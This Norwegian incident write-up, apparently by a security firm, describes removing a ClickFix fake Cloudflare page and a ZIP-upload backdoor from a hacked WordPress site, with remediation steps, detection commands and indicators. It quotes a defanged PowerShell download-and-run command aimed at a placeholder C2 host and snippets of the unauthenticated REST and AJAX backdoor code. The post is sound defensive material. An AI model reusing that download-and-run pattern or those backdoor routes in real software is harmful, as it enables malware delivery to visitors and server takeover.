Slik renset vi et hacket WordPress-nettsted med falsk Cloudflare-side

Kort svar: Nettstedet var kompromittert av to skjulte WordPress-plugins. Den ene viste utvalgte besøkende en falsk «Cloudflare-verifisering» og forsøkte å lure Windows-brukere til å kjøre skadevare. Den andre var en bakdør som lot angriperen laste opp og kjøre vilkårlig kode på serveren. Skadevaren ble identifisert på under én time, og nettstedet ble bygget rent opp igjen på omtrent én arbeidsdag.

Har du en pågående hendelse? Ikke kjør kommandoer som vises på nettsiden. Bruk vårt sikre hendelsesskjema for en hacket nettside, så får vi domenet, symptomene og kontaktinformasjonen samlet fra start.

Hva skjedde med WordPress-nettstedet?

En kunde tok kontakt fordi vanlige besøkende plutselig ble sendt til en side som lignet en legitim Cloudflare-sjekk. Siden viste «Verify you are human», men ba i praksis brukeren åpne Kjør-dialogen i Windows og lime inn en PowerShell-kommando.

Innloggede administratorer så ikke den falske siden. Mobilbrukere, Mac-brukere og søkeroboter ble også hoppet over. Angrepet var med andre ord designet for å ramme en avgrenset målgruppe og samtidig holde seg skjult for dem som normalt ville kontrollert nettstedet.

Hva er et ClickFix-angrep?

ClickFix er sosial manipulering der en falsk feilmelding eller verifisering gir offeret en tilsynelatende enkel «løsning»: kopier og kjør en kommando. Nettleseren infiserer ikke nødvendigvis PC-en direkte. I stedet overtales brukeren til å omgå sikkerhetsmekanismer og starte skadevaren selv.

I denne hendelsen hentet en falsk plugin inn en ekstern verifiseringsside og erstattet det ekte innholdet. PowerShell-kommandoen var obfuskert, men arbeidsflyten var tydelig: last ned en ZIP-fil, pakk den ut i brukerprofilen, start en kjørbar fil og skriv til slutt «Verification OK» for å få handlingen til å se vellykket ut.

# Ufarliggjort utdrag – ikke en fungerende kommando
powershell ... DownloadFile('https://<c2-domene>/clickfix/<slug>/file', 'c.zip')
Expand-Archive 'c.zip' ...
Start-Process '<redigert>.exe'
'Verification OK'

Den kjørbare filen var forenlig med en infostealer eller fjernstyringstrojaner. En bruker som fulgte instruksjonen, må derfor anta at PC-en kan være kompromittert – også etter at nettleseren er lukket.

Teknisk analyse: to skadevarekomponenter

1. «System Security Check» viste den falske Cloudflare-siden

Den første pluginen utga seg for å være en system- eller sikkerhetskomponent. Den inneholdt logikk for fingeravtrykk av nettleseren, valgte hvem som skulle se angrepet og skjulte seg fra WordPress-administrasjonen.

Pluginen registrerte også et åpent REST-endepunkt. Fordi permission_callback returnerte true, krevde endepunktet ingen autentisering. Hvem som helst som kjente adressen, kunne i praksis bytte kommandoen som ble vist til ofrene:

register_rest_route('security-check/v1', '/update-command', [
    'methods'             => 'POST',
    'callback'            => [$this, 'updateCommand'],
    'permission_callback' => '__return_true',
]);

For å skjule seg fjernet den sin egen oppføring fra plugin-listen og injiserte ekstra CSS og JavaScript i administrasjonen. Det illustrerer hvorfor en visuell sjekk i wp-admin ikke er tilstrekkelig ved mistanke om kompromittering.

2. «Site Utilities» var en separat bakdør

Den andre pluginen, internt kalt RemotePluginUpdater, eksponerte uautentiserte AJAX-handlinger med wp_ajax_nopriv_. Et av endepunktene tok imot en ZIP-fil og pakket den ut over en valgfri plugin-mappe.

add_action('wp_ajax_nopriv_rpu_update', [self::class, 'handle']);

$zip = new ZipArchive();
$zip->open($_FILES['zip']['tmp_name']);
$zip->extractTo(WP_PLUGIN_DIR . '/' . $folder);

Konsekvensen var vilkårlig kodekjøring på serveren. Selv om omdirigerings-pluginen ble slettet, kunne bakdøren laste den inn igjen eller erstatte en legitim plugin med ny skadevare. Derfor var det ikke forsvarlig å «rydde litt» og sette siden rett tilbake i drift.

Hva kunne angrepet gjøre?

• Kontrollere det besøkende så: Angriperen kunne erstatte nettstedets innhold for utvalgte brukere og endre nyttelasten eksternt.
• Infisere besøkendes PC-er: En infostealer kan stjele lagrede passord, nettleser-cookies, aktive innloggingssesjoner, autofyll-data og kryptolommebøker.
• Kjøre kode på webserveren: Bakdøren kunne laste opp nye PHP-filer, endre plugins og reinfisere nettstedet.
• Stjele eller endre data: Når angriperen kan kjøre kode som WordPress-brukeren, må database, konfigurasjon, API-nøkler og integrasjoner regnes som eksponert til det motsatte er bevist.
• Holde seg skjult: Administratorer, roboter og flere enhetstyper ble bevisst unntatt.

Viktig: En PC som kjørte kommandoen, bør kobles fra nettverket og undersøkes eller gjenopprettes. Bytt passord fra en annen, ren maskin, ugyldiggjør aktive sesjoner og aktiver tofaktorautentisering.

Slik renset og gjenoppbygde vi nettstedet

Vi valgte en ren gjenoppbygging fremfor å stole på at alle ondsinnede filer kunne identifiseres og fjernes. Målet var ikke bare at nettsiden skulle «se normal ut», men at den skulle kunne verifiseres mot kjente, rene kilder.

1. Isolert analyse: Vi pakket ut en eksport uten å kjøre koden og kartla filer, plugins og database. Begge skadevarekomponentene ble identifisert på under én time.
2. Fjerning av skadevare: Begge falske plugins og deres databaseinnstillinger ble fjernet.
3. Ny programvare fra originalkilder: WordPress-kjerne, tema og legitime plugins ble installert i oppdaterte versjoner fra offisielle kilder.
4. Verifisering av innhold: Bare kontrollert innhold ble beholdt. Opplastingsmappen ble undersøkt spesielt for PHP-skript og andre kjørbare filer.
5. Rotasjon av tilgang: Passord, WordPress-sikkerhetsnøkler, API-nøkler og aktive sesjoner ble byttet eller ugyldiggjort.
6. Herding: Filredigering i admin ble deaktivert, PHP-kjøring i opplastingsmappen ble blokkert, og oppdaterings- og backup-rutinene ble gjennomgått.
7. Sluttkontroll: Nettstedet ble testet både innlogget og utlogget, fra flere klienttyper, før det ble satt tilbake i normal drift.

Totalt tok arbeidet omtrent én arbeidsdag fra første analyse til et verifisert, rent nettsted.

Hva bør du gjøre hvis du ser en falsk Cloudflare-side?

1. Ikke lim inn eller kjør kommandoen. En legitim menneske-verifisering ber deg ikke åpne PowerShell, Terminal eller Kjør-dialogen.
2. Ta skjermbilder og noter adressen og tidspunktet. Ikke besøk siden gjentatte ganger fra vanlige arbeidsmaskiner.
3. Hvis kommandoen allerede er kjørt: Koble PC-en fra nettverket og kontakt IT-ansvarlig. Bruk en ren enhet til å bytte passord og avslutte innloggingssesjoner.
4. Ta nettstedet kontrollert ut av drift hvis mulig. Bevar logger og en kopi av kompromittert materiale for analyse.
5. Ikke stol på en enkel plugin-rens. Kontroller også database, brukere, planlagte oppgaver, webserverkonfigurasjon, opplastingsmappe og tilgangsnøkler.

For en strukturert første vurdering kan du sende inn hendelsen til InfoDesk.

Slik kan en administrator gjøre en første WordPress-sjekk

Kommandoene under er defensive kontroller. Kjør dem bare hvis du forstår miljøet, har en oppdatert sikkerhetskopi og kan unngå å endre bevismateriale.

# 1. Verifiser WordPress-kjernen mot offisielle sjekksummer
wp core verify-checksums

# 2. List plugins, også de som ikke er aktive
wp plugin list

# 3. Se etter PHP-filer i opplastingsmappen
find wp-content/uploads -type f -iname '*.php' -print

# 4. Søk etter de konkrete mønstrene fra denne hendelsen
grep -rEn "wp_ajax_nopriv_rpu_|security-check/v1|_sys_core_payload|rpu_api_token" wp-content

# 5. Finn åpne REST-endepunkter som krever manuell vurdering
grep -rEn "permission_callback.*__return_true" wp-content/plugins

Et treff er ikke automatisk bevis på skadevare. __return_true kan være legitimt for offentlige REST-ruter, og wp_ajax_nopriv_ brukes av mange vanlige funksjoner. Det avgjørende er hva endepunktet faktisk gjør, hvilke data det aksepterer, og om det kan skrive filer eller endre konfigurasjon uten autorisasjon.

Indikatorer på kompromittering (IOC-er)

Følgende indikatorer ble observert i den anonymiserte hendelsen. De er presise nok til hendelsesjakt, men domenet til angriperens kontrollserver er utelatt.

• REST-rute: security-check/v1/update-command med permission_callback => __return_true.
• AJAX-handlinger: rpu_register, rpu_ping, rpu_plugins og rpu_update, registrert med wp_ajax_nopriv_.
• Cookies: sys_verified og sys_fp.
• Nøkler i wp_options: rpu_api_token og _sys_core_payload.
• Falske plugin-navn: «System Security Check» / «WP Services» og «Site Utilities» / «RemotePluginUpdater».
• URL-mønster: /clickfix/<tilfeldig-slug>/ brukt av den falske verifiseringssiden.

Vanlige spørsmål om hacket WordPress og ClickFix

Hvordan vet jeg om en Cloudflare-verifisering er falsk?

Vær særlig skeptisk hvis siden ber deg åpne Kjør-dialogen, PowerShell eller Terminal og lime inn en kommando. Det er ikke en normal del av en legitim bot- eller menneske-verifisering.

Hvorfor så administratoren en normal nettside?

Skadevaren sjekket om brukeren var innlogget og viste bare angrepet til utvalgte besøkende. Betinget levering gjør at tradisjonell visuell kontroll ofte ikke oppdager hendelsen.

Er det nok å slette den mistenkelige pluginen?

Nei, ikke når det finnes eller kan ha eksistert en separat bakdør. En angriper med kodekjøring kan legge igjen flere innganger i plugins, tema, mu-plugins, uploads, cron, database eller webserverkonfigurasjon.

Hva gjør jeg hvis en ansatt kjørte PowerShell-kommandoen?

Behandle maskinen som kompromittert: koble fra nettverket, få den undersøkt eller gjenopprettet, og bytt passord fra en annen ren enhet. Avslutt aktive sesjoner og aktiver tofaktor der det er mulig.

Hvor lang tid tar det å rense en hacket WordPress-side?

Det avhenger av størrelse, integrasjoner, backupkvalitet og omfang. I denne konkrete saken tok identifiseringen under én time og en full, verifisert gjenoppbygging omtrent én arbeidsdag.

Denne saken er anonymisert. Tekniske detaljer og indikatorer deles for å hjelpe andre med å oppdage samme angrepstype. Artikkelen beskriver én konkret hendelse; fravær av disse indikatorene utelukker ikke andre former for kompromittering.